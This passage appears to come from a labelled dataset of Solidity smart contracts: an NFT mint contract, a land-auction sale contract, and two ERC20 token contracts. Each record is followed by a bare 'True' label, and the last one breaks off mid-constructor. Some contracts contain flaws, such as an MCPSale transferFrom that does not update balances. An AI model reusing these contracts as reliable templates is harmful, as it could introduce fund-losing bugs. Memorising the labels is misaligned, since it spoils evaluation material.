_allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract SlowSnails is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.032 ether; uint256 public maxSupply = 3130; uint256 public maxMintAmount = 30; bool public paused = false; bool public revealed = false; string public notRevealedUri; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner() { revealed = true; } function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
True
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pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Beneficiary is Ownable { address public beneficiary; constructor() public { beneficiary = msg.sender; } function setBeneficiary(address _beneficiary) onlyOwner public { beneficiary = _beneficiary; } function withdrawal(uint256 amount) public onlyOwner { if (amount > address(this).balance) { revert(); } beneficiary.transfer(amount); } function withdrawalAll() public onlyOwner { beneficiary.transfer(address(this).balance); } } contract MCPSale is Beneficiary { mapping(address => uint256) public balances; mapping(uint256 => address) public approved; mapping(int32 => mapping(int32 => uint256)) public zone; mapping(uint256 => Coordinates) public zone_reverse; mapping(uint16 => Region) public regions; mapping(uint16 => RegionBid) public region_bids; bool public constant implementsERC721 = true; uint256 constant MINIMAL_RAISE = 0.5 ether; uint256 constant AUCTION_DURATION = 7 * 24 * 60 * 60; // 7 Days bool public SaleActive = true; struct MapLand { uint8 resources; uint16 region; uint256 buyPrice; address owner; } struct Coordinates { int32 x; int32 y; } struct RegionBid { address currentBuyer; uint256 bid; uint256 activeTill; } struct Region { address owner; uint8 tax; uint256 startPrice; string regionName; bool onSale; bool allowSaleLands; bool created; } uint256 public basePrice = 0.01 ether; uint256 public minMargin = 0.001944 ether; uint32 public divider = 8; uint8 public defaultRegionTax = 10; MapLand[] public tokens; address public mapMaster; modifier isTokenOwner(uint256 _tokenId) { if (tokens[_tokenId].owner != msg.sender) { if (msg.value > 0) { msg.sender.transfer(msg.value); } return; } _; } modifier onlyRegionOwner(uint16 _regionId) { if (regions[_regionId].owner != msg.sender) { if (msg.value > 0) { msg.sender.transfer(msg.value); } return; } _; } modifier isNotNullAddress(address _address) { require(address(0) != _address); _; } modifier isApproved(uint256 _tokenId, address _to) { require(approved[_tokenId] == _to); _; } modifier onlyMapMaster() { require(mapMaster == msg.sender); _; } modifier onlyOnActiveSale() { require(SaleActive); _; } modifier canMakeBid(uint16 regionId) { if ((region_bids[regionId].activeTill != 0 && region_bids[regionId].activeTill < now) || regions[regionId].owner != address(0) || !regions[regionId].onSale ) { if (msg.value > 0) { msg.sender.transfer(msg.value); } return; } _; } constructor() public { mapMaster = msg.sender; tokens.length++; //reserve 0 token - no binding, no sale MapLand storage reserve = tokens[tokens.length - 1]; reserve.owner = msg.sender; } function setMapMaster(address _mapMaster) public onlyOwner { mapMaster = _mapMaster; } function setMinMargin(uint256 _amount) public onlyOwner { minMargin = _amount; } function setBasePrice(uint256 _amount) public onlyOwner { basePrice = _amount; } function setRegionTax(uint16 regionId, uint8 tax) public onlyRegionOwner(regionId) onlyOnActiveSale { require(tax <= 100 && tax >= 0); regions[regionId].tax = tax; emit TaxUpdate(regionId, regions[regionId].tax); } function setRegionName(uint16 regionId, string regionName) public onlyOwner { regions[regionId].regionName = regionName; emit ChangeRegionName(regionId, regionName); } function setRegionOnSale(uint16 regionId) public onlyMapMaster { regions[regionId].onSale = true; emit RegionOnSale(regionId); } function setAllowSellLands(uint16 regionId) public onlyMapMaster { regions[regionId].allowSaleLands = true; emit RegionAllowSaleLands(regionId); } function setRegionPrice(uint16 regionId, uint256 price) public onlyOwner { if(regions[regionId].owner == address(0) && !regions[regionId].onSale) { regions[regionId].startPrice = price; emit UpdateRegionPrice(regionId, price); } } function addRegion(uint16 _regionId, uint256 _startPrice, string _regionName) public onlyMapMaster onlyOnActiveSale { if (regions[_regionId].created) { return; } Region storage newRegion = regions[_regionId]; newRegion.startPrice = _startPrice; newRegion.tax = defaultRegionTax; newRegion.owner = address(0); newRegion.regionName = _regionName; newRegion.created = true; emit AddRegion(_regionId); } function regionExists(uint16 _regionId) public view returns (bool) { return regions[_regionId].created; } function makeBid(uint16 regionId) payable public onlyOnActiveSale canMakeBid(regionId) { uint256 minimal_bid; if (region_bids[regionId].currentBuyer != address(0)) {//If have bid already minimal_bid = region_bids[regionId].bid + MINIMAL_RAISE; } else { minimal_bid = regions[regionId].startPrice; } if (minimal_bid > msg.value) { if (msg.value > 0) { msg.sender.transfer(msg.value); } return; } RegionBid storage bid = region_bids[regionId]; if (bid.currentBuyer != address(0)) { //Return funds to old buyer bid.currentBuyer.transfer(bid.bid); } else { emit AuctionStarts(regionId); } // Auction will be active for 7 days if no one make a new bid bid.activeTill = now + AUCTION_DURATION; bid.currentBuyer = msg.sender; bid.bid = msg.value; emit RegionNewBid(regionId, msg.sender, msg.value, region_bids[regionId].activeTill); } function completeRegionAuction(uint16 regionId) public onlyMapMaster { if (region_bids[regionId].currentBuyer == address(0)) { return; } if (region_bids[regionId].activeTill > now || region_bids[regionId].activeTill == 0) { return; } transferRegion(regionId, region_bids[regionId].currentBuyer); } function takeRegion(uint16 regionId) public { require(regions[regionId].owner == address(0)); require(region_bids[regionId].currentBuyer == msg.sender); require(region_bids[regionId].activeTill < now); transferRegion(regionId, region_bids[regionId].currentBuyer); } function transferRegion(uint16 regionId, address newOwner) internal { regions[regionId].owner = newOwner; regions[regionId].onSale = false; emit RegionSold(regionId, regions[regionId].owner); } // returns next minimal bid or final bid on auctions that already end function getRegionPrice(uint16 regionId) public view returns (uint256 next_bid) { if(regions[regionId].owner != address(0)) { return region_bids[regionId].bid; } if (region_bids[regionId].currentBuyer != address(0)) {//If have bid already next_bid = region_bids[regionId].bid + MINIMAL_RAISE; } else { next_bid = regions[regionId].startPrice; } } function _activateZoneLand(int32 x, int32 y, uint8 region, uint8 resources) internal { tokens.length++; MapLand storage tmp = tokens[tokens.length - 1]; tmp.region = region; tmp.resources = resources; tmp.buyPrice = 0; zone[x][y] = tokens.length - 1; zone_reverse[tokens.length - 1] = Coordinates(x, y); emit ActivateMap(x, y, tokens.length - 1); } function activateZone(int32[] x, int32[] y, uint8[] region, uint8[] resources) public onlyMapMaster { for (uint index = 0; index < x.length; index++) { _activateZoneLand(x[index], y[index], region[index], resources[index]); } } function buyLand(int32 x, int32 y) payable public onlyOnActiveSale { MapLand storage token = tokens[zone[x][y]]; if (zone[x][y] == 0 || token.buyPrice > 0 || token.owner != address(0) || !regions[token.region].allowSaleLands) { if (msg.value > 0) { msg.sender.transfer(msg.value); } return; } uint256 buyPrice = getLandPrice(x, y); if (buyPrice == 0) { if (msg.value > 0) { msg.sender.transfer(msg.value); } return; } uint256[49] memory payouts; address[49] memory addresses; uint8 tokenBought; if (buyPrice > msg.value) { if (msg.value > 0) { msg.sender.transfer(msg.value); } return; } else if (buyPrice < msg.value) { msg.sender.transfer(msg.value - buyPrice); } (payouts, addresses, tokenBought) = getPayouts(x, y); token.owner = msg.sender; token.buyPrice = buyPrice; balances[msg.sender]++; doPayouts(payouts, addresses, buyPrice); uint256 tax = getRegionTax(token.region); if (regions[token.region].owner != address(0) && tax > 100) { uint256 taxValue = ((basePrice * (tax - 100) + ((tokenBought ** 2) * minMargin * (tax - 100))) / 100); regions[token.region].owner.transfer(taxValue); emit RegionPayout(regions[token.region].owner, taxValue); } emit Transfer(address(0), msg.sender, zone[x][y]); } function doPayouts(uint256[49] payouts, address[49] addresses, uint256 fullValue) internal returns (uint256){ for (uint8 i = 0; i < addresses.length; i++) { if (addresses[i] == address(0)) { continue; } addresses[i].transfer(payouts[i]); emit Payout(addresses[i], payouts[i]); fullValue -= payouts[i]; } return fullValue; } function getPayouts(int32 x, int32 y) public view returns (uint256[49] payouts, address[49] addresses, uint8 tokenBought) { for (int32 xi = x - 3; xi <= x + 3; xi++) { for (int32 yi = y - 3; yi <= y + 3; yi++) { if (x == xi && y == yi) { continue; } MapLand memory token = tokens[zone[xi][yi]]; if (token.buyPrice > 0) { payouts[tokenBought] = (token.buyPrice / divider); addresses[tokenBought] = (token.owner); tokenBought++; } } } return (payouts, addresses, tokenBought); } function getLandPrice(int32 x, int32 y) public view returns (uint256 price){ if (zone[x][y] == 0) { return; } MapLand memory token = tokens[zone[x][y]]; int256[2] memory start; start[0] = x - 3; start[1] = y - 3; uint256[2] memory counters = [uint256(0), 0]; for (int32 xi = x - 3; xi <= x + 3; xi++) { for (int32 yi = y - 3; yi <= y + 3; yi++) { if (x == xi && y == yi) { continue; } if (tokens[zone[xi][yi]].buyPrice > 0) { counters[1] += tokens[zone[xi][yi]].buyPrice; counters[0]++; } } } uint16 regionId = token.region; uint8 taxValue = getRegionTax(regionId); if (counters[0] == 0) { price = ((basePrice * taxValue) / 100); } else { price = ((basePrice * taxValue) / 100) + (uint(counters[1]) / divider) + (((counters[0] ** 2) * minMargin * taxValue) / 100); } } function getRegionTax(uint16 regionId) internal view returns (uint8) { if (regions[regionId].owner != address(0)) { return (100 + regions[regionId].tax); } return (100 + defaultRegionTax); } function approve(address _to, uint256 _tokenId) public isTokenOwner(_tokenId) isNotNullAddress(_to) { approved[_tokenId] = _to; emit Approval(msg.sender, _to, _tokenId); } function setRegionOwner(uint16 regionId, address owner, uint256 viewPrice) public onlyOwner { require(regions[regionId].owner == address(0) && !regions[regionId].onSale); regions[regionId].owner = owner; RegionBid storage bid = region_bids[regionId]; bid.activeTill = now; bid.currentBuyer = owner; bid.bid = viewPrice; emit RegionSold(regionId, owner); } function transfer(address _to, uint256 _tokenId) public isTokenOwner(_tokenId) isNotNullAddress(_to) isApproved(_tokenId, _to) { tokens[_tokenId].owner = _to; balances[msg.sender]--; balances[_to]++; emit Transfer(msg.sender, _to, _tokenId); } function transferFrom(address _from, address _to, uint256 _tokenId) public isTokenOwner(_tokenId) isApproved(_tokenId, _to) { tokens[_tokenId].owner = _to; emit Transfer(_from, _to, _tokenId); } function ownerOf(uint256 _tokenId) public view returns (address owner) { owner = tokens[_tokenId].owner; } function totalSupply() public view returns (uint256) { return tokens.length; } function balanceOf(address _owner) public view returns (uint256 balance) { balance = balances[_owner]; } function setSaleEnd() public onlyOwner { SaleActive = false; emit EndSale(true); } function isActive() public view returns (bool) { return SaleActive; } // Events event Transfer(address indexed from, address indexed to, uint256 tokenId); event Approval(address indexed owner, address indexed approved, uint256 tokenId); event RegionAllowSaleLands(uint16 regionId); event ActivateMap(int256 x, int256 y, uint256 tokenId); event AddRegion(uint16 indexed regionId); event UpdateRegionPrice(uint16 indexed regionId, uint256 price); event ChangeRegionName(uint16 indexed regionId, string regionName); event TaxUpdate(uint16 indexed regionId, uint8 tax); event RegionOnSale(uint16 indexed regionId); event RegionNewBid(uint16 indexed regionId, address buyer, uint256 value, uint256 activeTill); event AuctionStarts(uint16 indexed regionId); event RegionSold(uint16 indexed regionId, address owner); event Payout(address indexed to, uint256 value); event RegionPayout(address indexed to, uint256 value); event EndSale(bool isEnded); }
True
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pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract OntologyToken { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function OntologyToken( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
True
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pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract TokenTimelock { using SafeERC20 for ERC20Basic; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint256 public releaseTime; constructor( ERC20Basic _token, address _beneficiary, uint256 _releaseTime ) public { // solium-disable-next-line security/no-block-members require(_releaseTime > block.timestamp); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { // solium-disable-next-line security/no-block-members require(block.timestamp >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BonumToken is StandardToken, Ownable { string public constant name = "BonumToken"; string public constant symbol = "BONUM"; uint8 public constant decimals = 18; uint public constant INITIAL_SUPPLY = 65000000 * (10 ** uint256(decimals)); address public bounty; address public advisors; bool public burnt = false; TokenTimelock public reserveTimelock; TokenTimelock public teamTimelock; event Burn(address indexed burner, uint256 value); constructor(address _bounty, address _reserve, address _team, address _advisors, uint releaseTime) public { require(_bounty != address(0)); require(_reserve != address(0)); require(_advisors != address(0)); totalSupply_ = INITIAL_SUPPLY; bounty = _bounty; advisors = _advisors; reserveTimelock = new TokenTimelock(this, _reserve, releaseTime); teamTimelock = new TokenTimelock(this, _team, releaseTime); uint factor = (10 ** uint256(decimals)); uint bountyBalance = 1300000 * factor; balances[_bounty] = bountyBalance; emit Transfer(address(0), _bounty, bountyBalance); uint advisorsBalance = 6500000 * factor; balances[_advisors] = advisorsBalance; emit Transfer(address(0), _advisors, advisorsBalance); uint reserveBalance = 13000000 * factor; balances[reserveTimelock] = reserveBalance; emit Transfer(address(0), reserveTimelock, reserveBalance); uint teamBalance = 9750000 * factor; balances[teamTimelock] = teamBalance; emit Transfer(address(0), teamTimelock, teamBalance); uint 